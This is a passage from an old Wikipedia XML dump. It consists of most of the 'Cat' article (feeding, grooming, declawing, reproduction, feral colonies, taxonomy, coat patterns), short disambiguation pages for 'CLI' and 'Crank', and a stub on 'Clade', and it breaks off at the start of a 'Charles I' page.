[[Image:Cat_yawning.jpg|thumb|right|220px|A cat [[yawn]]ing, showing characteristic [[canine tooth|canine teeth]]]] 
Cats have highly specialized teeth and a digestive tract suitable to the digestion of meat. The premolar and first molar together compose the carnassial pair on each side of the mouth, which efficiently functions to shear meat like a pair of scissors. While this is present in [[Canidae|canines]], it is highly developed in felines. The cat's tongue has sharp spines, or [[papillae]], designed to retain and rip flesh from a carcass. These papillae are small backward-facing hooks that contain [[keratin]] and assist in their grooming. Unlike most carnivores, cats eat almost no vegetable matter apart from that found in the digestive tracts of their prey. Whereas [[bear]]s and dogs commonly supplement their diet of meat with fruits, berries, roots, and honey when they can get them, cats feed exclusively on meat, usually freshly killed. Cats, including the great cats, have a genetic anomaly that prevents them from tasting sweetness &lt;ref&gt;{{cite web | title=PLoS Genetics: Pseudogenization of a Sweet-Receptor Gene Accounts for Cats&amp;#39; Indifference toward Sugar | url=http://genetics.plosjournals.org/perlserv/?request=get-document&amp;doi=10.1371/journal.pgen.0010003 | accessdate=August 8 | accessyear=2005 }}&lt;/ref&gt;, which is probably related to their meat-only habits.

In captivity, cats cannot be adapted to an unsupplemented [[vegetarianism|vegetarian]] diet because they cannot synthesize all the amino acids they need from plant material. Specifically this applies to [[taurine]], the absence of which causes the cat's retina to slowly degenerate, causing eye problems and (eventually) irreversible blindness. This condition is called [[central retinal degeneration]] (CRD). Cow's milk is a poor source of taurine and adult cats are generally [[lactose intolerant]]. Lactose-free milk is perfectly safe, but still not a substitute for meat. This contrasts with domesticated dogs, which commonly are fed a mixture of meat and vegetable products and have been adapted in some cases to a vegetarian diet. Despite this, however, the majority of brand-name [[cat food]]s are primarily grain based, often containing large amounts of corn or rice and supplemented with meats and essential vitamins. Some vegetarian owners feed their cats a vegetarian diet containing supplemental taurine.

Cats are also known to munch on grass, leaves, shrubs and houseplants. They do not eat a lot in one sitting, but prefer to have it as a snack. Eating vegetation in this way may aid the cat's digestive system and can prevent hairballs. &lt;ref&gt;{{cite web | title=Felidae World - Catnip and Grasses for Cats | url=http://felidaeworld.com/grassnip.html | accessdate=August 8 | accessyear=2005 }}&lt;/ref&gt;. 

Cats can be fussy eaters. This mostly happens when the [[vomeronasal organ|vomeronasal, or Jacobson's, organ]] becomes sensitized to a specific food, at which point the cat will reject any food that doesn't fit the pattern it is expecting. Additionally, cats have been known to develop a fondness for &quot;people food&quot; such as chicken, bread, french fries, pizza, ice cream, tomato soup, carrot juice, olives, and carnitas burritos, as well as cat diet exotica such as corn kernels and diced cantaloupe.  Many &quot;people foods&quot; are not good for cats; [[chocolate]], for example, can be fatal due to the presence of [[theobromine]] (see [[theobromine poisoning]]).

Domestic cats, especially young ones, are known for their love of string play. Many cannot resist a dangling piece of string, or a piece of rope drawn randomly and enticingly across the floor. This notorious love of string is often depicted in cartoons and photographs, which show kittens or cats playing with balls of yarn. This propensity is probably related to their hunting instinct. However, string is more often being replaced with a red dot [[laser pointer]]. This is because, if the string is ingested, it can be caught in the cat’s stomach or intestines causing illness or, in extreme cases, death. Some people discourage the use of laser pointers for play with pets, however, because of the risk of eye damage and the loss of satisfaction (especially for cats) associated with the successful capture of prey.

Because of their small size, domestic cats pose almost no danger to humans—the only hazard is the possibility of infection (or, rarely, [[rabies]]) from a cat bite or scratch. 

Cats can be destructive to [[ecosystem]]s in which they are not native and whose species did not have time to adapt to their [[introduced species|introduction]]. In some cases, cats have contributed to or caused [[extinction]]s—for example, see the case of the [[Stephens Island Wren]].

===Hygiene===
[[Image:Litter box.jpg|A cat litter box.|170px|thumb]]
Cats are known for their cleanliness. They [[groom]] themselves by [[licking]] their [[fur]]. Their [[saliva]] is a powerful cleaning agent, but it can provoke [[Allergy|allergic]] reactions in humans.  Some people who are allergic to cats&amp;mdash;typically manifested by [[hay fever]], [[asthma]] or a skin [[rash]] &amp;mdash;quickly acclimate themselves to a particular animal and live comfortably in the same house with it, while retaining an allergy to cats in general.  Many cats also enjoy grooming humans or other cats. Some cats occasionally regurgitate [[hair balls]] of fur that have collected in their [[stomach]]s as a result of their grooming. Longhair cats are more prone to this than shorthairs. Hairballs can be prevented with certain cat foods and remedies that ease [[defecation|elimination]] of the hair. Cats expend nearly as much fluid grooming as they do urinating.

Indoor cats may be provided a [[litter box]] containing [[sand]] or similar commercial material ([[cat litter|litter]]). This arrangement serves the same purpose as a [[toilet]] for [[humans]]. It should be cleaned daily and changed often (depending on the number of cats in a household and the type of litter—clumping litter stays cleaner longer, but has been reported to cause health problems in some cats. &lt;ref&gt;{{cite web | title=Suspected bentonite toxicosis in a cat from ingestion of clay cat litter | url=http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=PubMed&amp;list_uids=8888544&amp;dopt=Abstract | accessdate=September 10 | accessyear=2005 }}&lt;/ref&gt;) A litterbox is recommended for indoor-outdoor cats as well. Litterboxes may pose a risk of [[toxoplasmosis]] transmission to susceptible pregnant women and immuno-compromised individuals. Transmission risk may be reduced by daily litterbox cleaning.
[[Image:Toilet_Trained_Cat_22_Aug_2005.jpg|thumb|150px|left|Toilet-trained cat]]
In addition, some cats may be toilet trained, eliminating the litterbox and its attending expense and odor. Training involves two or three weeks of incremental moves, such as moving and elevating the litterbox until it is near the toilet. For a short time, an adapter, such as a bowl or small box, may be used to suspend the litter above the toilet bowl. When training is complete, the cat uses the toilet by perching over the bowl. &lt;ref&gt;{{cite web | title=Cat toilet-training | url=http://www.karawynn.net/mishacat/toilet.html | accessdate=August 8 | accessyear=2005 }}&lt;/ref&gt;

Indoor cats will also benefit from being provided with a [[scratching post]] so they are less likely to ruin furniture with their claws.&lt;ref&gt;{{cite web | title=Scratching or clawing in the house | url=http://www.fabcats.org/scratching.html | accessdate=August 14 | accessyear=2005 }}&lt;/ref&gt; Nails can be trimmed, but care should be taken to avoid cutting a vein in the [[Wiktionary:quick#Noun|quick]] of the claw. 

====Declawing====
{{main|onychectomy}}

Declawing is a major surgery known as ''onychectomy'', performed under [[anesthesia]], that removes the tip of each digit (from the first knuckle out) of the cat's forepaws. There is a slight chance of death in the surgery, and a declawed cat may have an increased risk of infection and life-long discomfort in its paws. This surgery is not recommended for an adult animal.

People generally have cats declawed to prevent them from hunting and from damaging furniture. Rarely, vicious cats are declawed. In the United States, some landlords require that tenants' cats be declawed. 

Veterinarians are generally critical of the procedure and some refuse to perform it because the absence of claws in a cat:

[[Image:CatClaws.jpg|right|thumb| A cat brandishing its claws]]
#Deprives it of its main defense abilities, including escaping from predators by climbing trees;
#Impairs its stretching and exercise habits, leading to muscle atrophy; 
#Compromises its ability to balance on thin surfaces such as railings and fence tops, leading to injury from falls; 
#Can cause insecurity and a subsequent tendency to bite.

This operation is rare outside of North America. In [[Germany]] and [[Switzerland]], declawing is forbidden by the laws against [[cruelty to animals]].&lt;ref&gt;{{cite web | title=Swiss Federal Act on Animal Protection, 1978, Section 8: Prohibited Practices, §22(g) | url=http://www.animallaw.info/nonus/statutes/stchapa1978.htm | accessdate=August 22 | accessyear=2005 }}&lt;/ref&gt; In many other European countries, it is forbidden under the terms of the [[European Convention for the Protection of Pet Animals]], unless &quot;a [[veterinarian]] considers [such] non-curative procedures necessary either for veterinary medical reasons or for the benefit of (the) animal&quot;. &lt;ref&gt;{{cite web | title=European Convention for the Protection of Pet Animals, Chapter II - Principles for the keeping of pet animals, Article 10(1) | url=http://www.animallaw.info/treaties/itceceets125.htm | accessdate=August 22 | accessyear =2005 }}&lt;/ref&gt; In Britain, animal shelters find it difficult to place imported cats that have been declawed and subsequently most are [[euthanized]].

An alternative to declawing is the application of blunt, vinyl nail caps that are affixed to the claws with nontoxic glue, requiring periodic replacement when the cat sheds its claw sheaths (about every four to six weeks). However, the cat will still experience difficulties because the capped nails are not as effective as claws.

===Environment===
The [[wild cat]], ancestor of the domestic cat, is believed to have evolved in a [[desert]] [[climate]], as evident in the behavior common to both the domestic and wild forms. Wild cats are native to all [[continent]]s other than [[Australasia]] and [[Antarctica]]. Their feces are usually dry, and cats prefer to bury them in [[sand]]y places. They are able to remain motionless for long periods, especially when observing prey and preparing to pounce. In [[North Africa]] there are still small wildcats that are probably related closely to the ancestors of today's domesticated breeds.

Cats enjoy heat and solar exposure, often sleeping in a warm area during the heat of the day. Cats like to be a lot warmer than humans do. People start to feel uncomfortable when their skin's temperature gets higher than about 44.5&amp;nbsp;°C (112&amp;nbsp;°F), but cats don't start to show signs of discomfort until their skin reaches about 52&amp;nbsp;°C (126&amp;nbsp;°F).

Being closely related to desert animals, cats can withstand the heat and cold of a [[temperate]] [[climate]], but not for long periods. Although certain breeds such as the [[Norwegian Forest Cat]] and [[Maine Coon]] have developed more protection than others, they have little resistance against fog, [[rain]] and [[snow]] and struggle to maintain their 39&amp;nbsp;&amp;deg;C (102&amp;nbsp;&amp;deg;F) body temperature when wet. Most cats dislike immersion in water, but one exception is the [[Turkish Van]] cat. If a cat is continually exposed to water from a very young age, often it will develop a fondness for it; however, this rarely if ever occurs naturally.

==Reproduction and genetics==
[[Image:White_Cat_Nursing_Four_Kittens_HQ.jpg|thumb|Four kittens being [[breastfeeding|nursed]]]]
Cats are seasonally [[polyestrous]], &lt;!-- I created a redirect to the [[Estrus cycle]] article - but that claims cats are diestrous. Copyediting for consistency needed between the two articles! --&gt;which means they may have many heat periods over the course of a year. A heat period lasts about 4 to 7 days if the female is bred; if she is not, the heat period lasts longer and recurs at regular intervals.

The male cat's [[penis]] has spines which point backwards. Upon withdrawal of the penis, the spines rake the walls of the female's vagina. The female needs this stimulation for ovulation to begin. Because of this, females are rarely impregnated by the first male with which they mate. Furthermore, cats are [[superfecundation|superfecund]]; that is, a female may mate with more than one male when she is in heat, meaning different kittens in a litter may have different fathers.

The [[gestation]] period for cats is approximately 60 days. The size of a [[Litter (animal)|litter]] averages three to five kittens, with the first litter usually smaller than subsequent litters. Kittens are weaned at between six and seven weeks, and cats normally reach sexual maturity at six months (females) to seven months (males).

Cats are ready to go to new homes at about 7 weeks old, or when they are ready to leave their mother. Cats reach maturity at about 6 months, when some people may choose to spay or neuter their cat. After the surgery, the cat will not be able to have kittens. This eliminates some undesired behavior, such as spraying in males and yowling (calling) in females. 
[[Image:Manx Dante blue eyes.jpg|left|thumb|220px|Blue-eyed cats with white fur have a higher [[genetics|genetic]] incidence of [[deafness]].]]

==Domestication==
Like some other domesticated animals, cats live in a [[mutualism|mutualistic]] arrangement with humans.  Cats, however, have done so for a much shorter time than almost all other domesticated animals, and the degree of domestication of cats is somewhat disputed. Since the benefit of removing rats and [[mouse|mice]] from humans' food stores outweighed the cost of allowing a formerly wild animal to enjoy the relative safety of a human settlement, the relationship between cat and human flourished. Unlike the dog, which also kills rodents, the cat did not eat grains, fruits, or vegetables.  A cat that is good at hunting rodents is referred to as a mouser. 

The venerable [[simile]] &quot;like herding cats&quot; refers to the seeming intractability of the ordinary house cat to be trained in the manner of the dog.  Despite occasional cohabitation in colonies, cats are lone hunters.  It is no coincidence that cats are also &quot;clean&quot; animals, the chemistry of their saliva, expended in frequent grooming, acting as a natural deodorant.  The &quot;purpose&quot; of this cleanliness is to help hide the cat's presence while stalking prey.  A dog's odor, on the other hand, is an advantage, for a dog is a pack hunter; part of the pack stations itself upwind, and its odor drives prey towards the rest of the pack stationed downwind.  This requires a cooperative effort, which in turn requires communications skills.  No such communications skills are required of the lone hunter.  Thus, communicating with such an animal is problematic, and cats in particular are labelled as opaque or inscrutable, if not obtuse, as well as aloof and self-sufficient.  However, cats can be very affectionate towards their humans, especially if they [[Imprinting (psychology)|imprint]] on them at a very young age and are treated with consistent affection.
[[Image:Cat&amp;Pigeon.jpg|thumb|right|220px|A cat carrying a caught [[pigeon]]]]
Human attitudes toward cats vary widely. Some humans keep cats for companionship as [[pet]]s. Some people (known as cat lovers) go to great lengths to pamper their cats, sometimes treating them almost as if they were children.  When a cat bonds with its human owner, at times, the cat may display behaviors similar to that of the human.  Such behavior may include a trip to the litter box before bedtime and snuggling up close to its companion in bed or on the sofa.  Other behaviors could include mimicking sounds of the owner or using certain sounds the cat picks up from the human; sounds representing specific needs of the cat, which the owner would recognize.  The cat may also be capable of learning to communicate with the human using non-spoken language or [[Cat body language|body language]] such as rubbing for affection (confirmation), facial expressions and making eye contact with the owner if something needs to be addressed (e.g. finding a bug crawling on the floor for the owner to get rid of). Some owners like to train their cat to perform &quot;tricks&quot; commonly exhibited by dogs such as jumping. 

Allergies to cat [[dander]] are one of the most common reasons people cite for disliking cats.  However, in some instances, humans find the rewards of cat companionship outweigh the discomfort and problems associated with allergies. Many chose to cope with cat allergies by taking prescription allergy medicine and bathing their cats frequently, since weekly bathing will eliminate about 90% of the cat dander present in the environment. Recent studies have indicated that humans who are exposed to cats or dogs within the first year of their lives develop few animal allergies, while most adults who are allergic to animals did not have a cat or a dog as a pet in childhood.

In urban areas, some people find feral and free-roaming pet cats annoying and intrusive. Unaltered animals can engage in persistent nighttime calling (caterwauling) and defecation or &quot;marking&quot; on private property. Indoor confinement of pets and TNR (Trap, Neuter, Return) programs for feral cats can help in this situation; some people also use [[cat deterrent]]s to discourage cats from entering their property.

In rural areas, farms often have dozens of semi-feral cats. Hunting in the barns and the fields, they kill and eat rodents that would otherwise spoil large parts of the grain crop. Many pet cats successfully hunt and kill [[rabbit]]s, [[rodents]], [[bird]]s, [[lizard]]s, [[frog]]s, [[fish]], and large [[insect]]s by [[instinct]], but might not eat their prey. They may even present such victims, dead or maimed, to a beloved owner, perhaps expecting their owner to praise or reward them, or possibly even complete the kill and eat the mouse.

Despite its reputation as a solitary animal, the domestic cat is social enough to form [[feral cat colony|colonies]], but does not attack in groups as do [[lion]]s. Some breeds like [[bengal cat|bengal]], [[ocicat]] and [[Manx (cat)|manx]] are very social, but these breeds are exceptions. While each cat holds a distinct territory (sexually active males having the largest territories, and neutered cats having the smallest), there are &quot;neutral&quot; areas where cats watch and greet one another without territorial conflict or aggression. Outside of these neutral areas, territory holders usually vigorously chase away strangers, at first by staring, hissing, and growling, and if that does not work, by short but noisy and violent attacks. [[Catfight|Fighting cats]] make themselves look larger by raising their fur and arching their backs. Attacks usually comprise powerful slaps to the face and body with the forepaws as well as bites, but serious damage is rarely done, and usually the loser runs away with little more than a few scratches to the face. Sexually active males may be engaged in many fights over their lives and often have decidedly weathered faces with obvious scars and cuts to the ears and nose. Not only males will fight; females will also fight over territory or to defend their kittens, and even neutered cats will defend their small territories vigorously.

===Feral cats===
[[Image:Feral cat gl3.gif|thumb|left|Feral cats are thought to be a major predator of [[Hawaii]]an coastal and forest habitats, and are one species among many responsible for the decline of endemic forest bird species as well as seabirds like the [[Wedge-tailed Shearwater]]. [http://www.birdinghawaii.co.uk/XShearwaterkills2.htm] In one study of 56 cat [[Scatology|scats]], the remains of 44 birds were found, 40 of which were [[Endemic birds of Hawaii|endemic species]]. [http://www.earlham.edu/~biol/hawaii/mammals.htm] ]]

[[Feral cat]]s may live alone, but most are found in large groups called [[feral cat colony|feral colonies]] with communal nurseries, depending on resource availability. Many lost or abandoned pet cats join these colonies out of desperation. The average lifespan of these feral cats is much shorter than a domestic housecat, which can live an average of sixteen years or more. Urban areas are not native environments to the cat; most domestic cats were artificially selected from cats in desert climates and were distributed throughout the world by humans, but some feral cat colonies are found in large cities, for example, around the [[Colosseum]] and [[Forum Romanum]] in [[Rome]]. Although cats are adaptable, feral felines are unable to thrive in extreme cold and heat, and with a protein requirement of about 90%, few find adequate nutrition on their own in cities. In addition, they have little defense or understanding of the dangers from dogs, [[coyote]]s, and even [[automobile]]s. However, there are thousands of volunteers and organizations that trap these unadoptable feral felines, [[spaying and neutering|spay or neuter]] them, [[immunization|immunize]] the cats against rabies and [[feline leukemia]], and treat them with long-lasting [[flea]] products. Before release back into their feral colonies, the attending veterinarian nips the tip off one ear to mark the feral as spayed/neutered and inoculated, as these cats will more than likely find themselves trapped again. Volunteers continue to feed and give care to these cats throughout their lives, and not only is their lifespan greatly increased, but behavior and nuisance problems, due to competition for food, are also greatly reduced. In time, if an entire colony is successfully spayed and neutered, no additional kittens are born and the feral colony disappears. Many hope to see an end to urban feral cat colonies through these efforts.

===Environmental issues===
&lt;!-- This section has been subject to extensive debate. Do not make changes to this section without first obtaining consensus on the Talk:Cat page. --&gt;
There are two divergent views about cats’ relationship with the [[natural environment]].

*The first says: The environmental impact of feral cat programs and of indoor/outdoor cats is a subject of debate. Part of this stems from humane concern for the cats themselves and part arises from concerns about cat predation on endangered species. Nearly all studies agree that abandoned animals lead hard lives. Owners who can no longer keep their cats would do best to give them to friends, rescue organizations, or shelters. The amount of ecological damage done by indoor/outdoor cats depends on local conditions. The most severe impact occurs with island ecologies. Serious concerns also exist in places such as Florida where housecats are not native, where several small-sized endangered species live near human populations, and where the climate allows cats to breed throughout the year. Environmental concerns may be minimal in most of England where cats are an established species and few to none of the local prey species are endangered. Pet owners can contact veterinarians, ecological organizations, and universities for opinions about whether local conditions are suitable for outdoor cats. Additional concerns include potential dangers from larger predators and infectious diseases. Coyotes kill large numbers of housecats in the Southwestern United States, even in urban zones. FELV (feline leukemia), FIV (feline immunodeficiency virus), or rabies may be present in the area. If faced with conflicting evidence, the safe choice is to keep a cat indoors. Experts recommend a gradual transition to indoor life for cats who are accustomed to going outside.

*Those opposing this view emphasize that this allegation has never been proved. They say that damaging effects do not follow automatically from the fact that cats are predators. They point out that cats have played a useful role in vermin control for centuries, and that for many animals, especially in urban areas, cats are the only animal available to fill the vital role of predator. Without cats these species would overpopulate.
&lt;!-- This section has been subject to extensive debate. Do not make changes to this section without first obtaining consensus on the Talk:Cat page. --&gt;

==Scientific classification==
The domestic cat was named ''Felis catus'' by [[Carolus Linnaeus]] in his ''[[Systema Naturae]]'' of 1758. [[Johann Christian Daniel von Schreber]] named the [[wild cat]] ''Felis silvestris'' in 1775. The domestic cat is now considered a subspecies of the wild cat: by the strict rule of priority of the [[International Code of Zoological Nomenclature]] the name for the species thus ought to be ''F. catus'' since Linnaeus published first. However, in practice almost all biologists use ''F. silvestris'' for the wild species, using ''F. catus'' only for the domesticated form.

In opinion 2027 (published in Volume 60, Part 1 of the ''Bulletin of Zoological Nomenclature'', [[31 March]] [[2003]] &lt;ref&gt;{{cite web | title=Bulletin of Zoological Nomenclature 60(1) March 2003 | url=http://www.iczn.org/BZNMar2003.htm | accessdate=August 8 | accessyear=2005 }}&lt;/ref&gt;) the International Commission on Zoological Nomenclature &quot;conserved the usage of 17 specific names based on wild species, which are predated by or contemporary with those based on domestic forms&quot;, thus confirming ''F. silvestris'' for the wild cat and ''F. silvestris catus'' for its domesticated subspecies. (''F. catus'' is still valid if the domestic form is considered a separate species.)

[[Johann Christian Polycarp Erxleben]] named the domestic cat ''Felis domesticus'' in his ''Anfangsgründe der Naturlehre and Systema regni animalis'' of 1777. This name, and its variants ''Felis catus domesticus'' and ''Felis silvestris domesticus'', are often seen, but they are not valid scientific names under the rules of the [[International Code of Zoological Nomenclature]].

==Varieties of domestic cat==
The [[list of cat breeds]] is quite large. Each breed has distinct features and heritage. The owners and breeders of show cats compete to see whose animal bears the closest resemblance to the &quot;ideal&quot; definition of the breed (see [[selective breeding]]). Due to common crossbreeding in populated areas, many cats are simply identified as belonging to the homogeneous breeds of [[domestic longhair cat|domestic longhair]] and [[domestic shorthair cat|domestic shorthair]], depending on their type of fur.  In the [[United Kingdom]] and [[Australia]], non-purebred cats are referred in slang as [[moggy|moggies]] (also an archaic slang word for a [[prostitute]], probably referring to a female cat's promiscuous habits). In the [[United States of America|United States]], a non-purebred cat is sometimes referred to in slang as an alley cat, even if it is not a [[feral cat|stray]].

Cats come in a variety of [[color]]s and patterns. These are physical properties and should not be confused with a breed of cat.
[[Image:Greece-Cat.jpg|thumb|This [[Greece|Greek]] cat has light fur and green eyes.]]

Household cats are divided into:
*[[domestic longhaired cat|Domestic longhaired]]
*[[domestic shorthaired cat|Domestic shorthaired]]

; [[Cat coat genetics]] can produce a variety of coat patterns; some of the most common are:

; '''[[Bicolor cat]]''' : Also known as 'Tuxedo cat' or 'Jellicle cat' ([[tuxedo cat|tuxedo]]s are mostly black with white paws/legs, bellies, chests, and possible markings on face).
; '''[[Maltese cat]]''' : The former name for a blue (grey) cat.
; '''[[Oriental cat]]''' : (not a specific breed, but any cat with an elongated slender build, almond-shaped eyes, large ears and very short sleek fur).
; '''[[Tabby cat]]''' : Striped, with a variety of patterns. The classic &quot;blotched tabby&quot; pattern is the most common and consists of butterflies and bull's-eyes. The [[mackerel]] tabby is a series of vertical stripes down the cat's side (resembling the fish). This pattern broken into spots is referred to as spotted tabby.  The worldwide evolution of the cat means that certain types of tabby are associated with certain countries; for instance, blotched tabbies are quite rare outside NW Europe, where they are the most common type.
[[Image:Cat_ML2.jpg|thumb|This [[Tortoiseshell cat|Calico]] cat has black-brown-white fur and green eyes.]]
; '''[[Tortoiseshell cat|Tortoiseshell and Calico]]''' : Featuring three colors mottled throughout the coat, this cat is also known as a Calimanco cat or Clouded Tiger cat, and by the nickname &quot;tortie&quot;. A true tortoiseshell must consist of three kinds of color: a reddish color, dark or light; white; and one other color, typically a brown, black or blue, as described by American breeder Barbara French, writing for the Cat Fanciers community &lt;ref&gt;{{cite web | title=Torties, Calicos and Tricolor Cats | url=http://www.fanciers.com/cat-faqs/tricolors.shtml| accessdate=October 24 | accessyear=2005 }}&lt;/ref&gt;.  Calico cats are white with distinct black and red (or blue and cream in the dilute variant) spots. The Japanese refer to this pattern as mi-ke (meaning &quot;triple fur&quot;). Both tortoiseshell and calico cats are typically female because the [[coat]] pattern is the result of differential [[X chromosome]] [[Lyonization|inactivation]] in [[females]] (which, as with all normal female [[mammals]], have two X [[chromosomes]]).  Those male tortoiseshells that are created are usually sterile; conversely, cats where the overall color is ginger (orange) are commonly male.  In a litter sired by a ginger tom, the females will be tortoiseshell or ginger. See &quot;[http://www.messybeast.com/tricolours.htm Tortoiseshell and Tricolour Cats]&quot; for an extensive genetic explanation for tricolor cats, and detailing the possible combinations of coloring.&lt;ref&gt;{{cite web | title=White Cats, Eye Colours and Deafness | url=http://www.messybeast.com/whitecat.htm | accessdate=August 8 | accessyear=2005 }}&lt;/ref&gt;

[[Image:Filou5.jpg|thumb|right| A Bicolor cat (otherwise known as a Tuxedo cat).]]

==History and mythology==
''Main article [[History of cats]]''

Cats have been kept with humans since at least the days of [[Ancient Egypt]] through various cultures.  In Ancient Egypt, the cat god, [[Bast (goddess)|Bast]], is a goddess of the home and of the domestic cat, although she sometimes took on the war-like aspect of a lioness. Daughter of the sun god Ra, although sometimes regarded as the daughter of Amun. She was the wife of Ptah and mother of the lion-god Mihos. Her cult was centered on her sanctuary at Bubastis in the delta region, where a necropolis has been found containing mummified cats. Bast was also associated with the 'eye of Ra', acting as the instrument of the sun god's vengeance. She was depicted as a cat or in human form with the head of a cat, often holding the sacred rattle known as the sistrum.

==References==
&lt;references/&gt; 

==See also==
* [[Felidae]]
* [[Big cat]]
* [[Cat body language]]
* [[Catnip]]
* [[Cat flap]]
* [[Cat Fanciers' Association]]
{{Wikibooks|How to choose your pet and take care of it}}
{{wiktionarypar|cat}} 
{{wiktionarypar|kitty}}
{{wiktionarypar|meow}}
{{wikispecies|Felis silvestris catus|Cat}}
{{wikiquote}}
{{commons|Category:Felis silvestris catus}}
* [[Cats in Ancient Egypt]]
* [[Catfight]]
* [[Kitten]]
* [[List of historical cats]]
* [[List of fictional cats]]
* [[Polydactyl cat]] (extra toes)
* [[:Category:Cat types|Cat types]]
* [[:Category:Cat breeds|Cat breeds]]

==External links==
*[http://www.avidpets.com/new-cat.htm Introducing a new cat or kitten to your resident cat]
*[http://www.cat-guide.org/ Cat-Guide.org]
*[http://maxshouse.com/ Max's House] [http://maxshouse.com/Database_toc.htm Feline Medical &amp; Behaviour Database] (large number of short articles)
*[http://www.deh.gov.au/biodiversity/threatened/publications/tap/cats/3.html Australian Threat Abatement Plan for Predation by Feral Cats]
*[http://www.cute-cat.net/ Cats for Beginners]
*[http://www.wildlife.org/policy/index.cfm?tname=policystatements&amp;statement=ps28 Feral cats] (The Wildlife Society)
*[http://www.napa.ufl.edu/2003news/feralcat.htm Feral cats] (University of Florida)
*[http://www.abcbirds.org/cats/states/florida_intro.htm American Bird Conservancy] (domestic cat predation)
*[http://www.avma.org/onlnews/javma/jan04/040115a.asp American Veterinary Medical Association] (large article on cat colonies)
*[http://www.bbc.co.uk/radio4/science/nature_20030623.shtml Feral cats] (BBC)
*[http://www.animalsaustralia.org/default2.asp?idL1=1274&amp;idL2=1311 Animals Australia]: Feral Cat bibliography
*{{citenews|url=http://www.nytimes.com/2006/01/06/science/06cats.html?ex=1294203600&amp;en=4b75c4da1cdc2167&amp;ei=5090|title=DNA Offers New Insight Concerning Cat Evolution|date=[[January 6]], [[2006]]|org=The New York Times}}

{{featured article}}

[[Category:Animals kept as pets]]
[[Category:Cats]]

{{Link FA|de}}
{{Link FA|fr}}
{{Link FA|ru}}

[[als:Hauskatze]]
[[an:Gato]]
[[ar:قطة]]
[[ast:Gatu]]
[[bg:Котка]]
[[bm:Jakuma]]
[[bo:ཞི་མི་]]
[[br:Kazh]]
[[ca:Gat]]
[[chr:ᏪᏌ]]
[[cs:Kočka domácí]]
[[cy:Cath]]
[[da:Kat (Felis silvestris catus)]]
[[de:Hauskatze]]
[[eo:Kato]]
[[es:Felis silvestris catus]]
[[et:Kass]]
[[fi:Kesykissa]]
[[fr:Chat domestique]]
[[gl:Gato]]
[[he:חתול]]
[[hu:Macska]]
[[ia:Catto domestic]]
[[id:Kucing]]
[[io:Kato]]
[[is:Köttur]]
[[it:Felis silvestris catus]]
[[ja:ネコ]]
[[jv:Kucing]]
[[ko:고양이]]
[[la:Felis catus]]
[[lb:Hauskaz]]
[[lv:Kaķis]]
[[mg:Saka]]
[[ms:Kucing]]
[[nds:Katt]]
[[nl:Kat]]
[[no:Tamkatt]]
[[pl:Kot domowy]]
[[pt:Gato doméstico]]
[[ru:Кошка]]
[[simple:Cat]]
[[sk:Mačka domáca]]
[[sr:Мачка]]
[[sv:Katt]]
[[th:แมว]]
[[tr:Kedi]]
[[wa:Tchet]]
[[zh:猫]]</text>
    </revision>
  </page>
  <page>
    <title>CLI</title>
    <id>6679</id>
    <revision>
      <id>36376561</id>
      <timestamp>2006-01-23T17:12:22Z</timestamp>
      <contributor>
        <username>Ultramandk</username>
        <id>469212</id>
      </contributor>
      <minor />
      <comment>+[[da:CLI]]</comment>
      <text xml:space="preserve">Meanings of '''CLI''':

*[[Command line interface]] (computer interaction)
*[[Call Level Interface]] (an SQL database management API)
*[[Common Language Infrastructure]] (a Microsoft .NET Framework specification)
*[[CLI (x86 instruction)]]
*[[Composite Leading Indicator]]
*[[Caller Line Identification]] (caller ID, telephony network service)
*[[Celebrity Love Island]] (ITV reality TV show)
*[[Critical Language Institute]]
*[[Customer Loyalty Index]]

{{TLAdisambig}}


[[da:CLI]]
[[de:CLI]]
[[it:CLI]]
[[nl:CLI]]
[[ja:CLI]]
[[pl:CLI]]</text>
    </revision>
  </page>
  <page>
    <title>Crank</title>
    <id>6681</id>
    <revision>
      <id>31136295</id>
      <timestamp>2005-12-13T02:19:41Z</timestamp>
      <contributor>
        <username>R7</username>
        <id>109846</id>
      </contributor>
      <minor />
      <comment>disambiguation fix</comment>
      <text xml:space="preserve">{{wiktionarypar|crank}}

'''Crank''' may refer to:

As a '''technical''' term:
* [[Crankshaft]], the part of a piston engine which translates reciprocating linear piston motion into rotation
* [[Crankset]], the component of a bicycle drivetrain that converts the reciprocating motion of the rider's legs into rotational motion used to drive the chain, which in turn drives the rear wheel
* [[Crank (mechanism)]], in mechanical engineering, a bent portion of an axle, or shaft, or an arm keyed at right angles to the end of a shaft, by which motion is imparted to or received from it
* in mathematics, used to explain congruence patterns in [[integer partition]]s, as coined by [[Freeman Dyson]]

As a '''colloquial''' term:
* [[Crank (person)]], a person who holds unorthodox opinions, but is alleged to have false or ludicrous beliefs
* Several recreational drugs, including [[amphetamine]] and [[methamphetamine]]

In '''entertainment and media''':
* [[Crank! (magazine)]], a science fiction fanzine edited by Bryan Cholfin
* [[Crank! (record company)]], a record label that released albums by [[Emo (music)|emo]] bands [[Mineral (band)|Mineral]], [[The Gloria Record]], and [[Bright Eyes]]

{{disambig}}

[[es:Manivela]]</text>
    </revision>
  </page>
  <page>
    <title>Clade</title>
    <id>6682</id>
    <revision>
      <id>41646217</id>
      <timestamp>2006-02-28T19:43:19Z</timestamp>
      <contributor>
        <username>Elijahmeeks</username>
        <id>410579</id>
      </contributor>
      <comment>Stub and categorization status update</comment>
      <text xml:space="preserve">A '''clade''' is a term belonging to the discipline of [[cladistics]]. For all practical purposes it will usually refer to :
* a branch in a [[cladogram]], which is a diagram in the form of a tree resulting from a cladistic analysis. 
* a [[monophyletic]] group of organisms, ''i.e.'' a group of [[organisms]] which share a common ancestor and which includes the ancestor and all the descendents of that ancestor. 

Strictly speaking, a clade is a scientific hypothesis of evolutionary relationships among the organisms included in the analysis, based on the data considered in a cladistic analysis. Therefore, it will depend upon the data used to produce it; a particular clade may be supported or disproved by a subsequent analysis using different data.

If a clade proves robust in different analyses using different kinds of data, it may be translated to [[alpha taxonomy|taxonomy]]: it will become a [[taxon]], and may get a formal name and a rank. The idea that all taxa should be clades enjoys widespread support, but it remains controversial. A clade may or may not conform to an existing taxon, and vice versa: see also [[evolutionary grade|grade]]. 

The [[PhyloCode]] is an attempt at a ''Code'' that would allow clades to get a formal name.

{{evolution-stub}}
{{phylo}}
{{Evolution}}

[[Category:Phylogenetics]]

[[es:Clado]]
[[fr:Clade]]
[[nl:Klade]]</text>
    </revision>
  </page>
  <page>
    <title>Charles I</title>
    <id>6683</id>
    <revision>
      <id>33629328</id>
      <timestamp>2006-01-02T19:59:45Z</timestamp>
      <contributor>
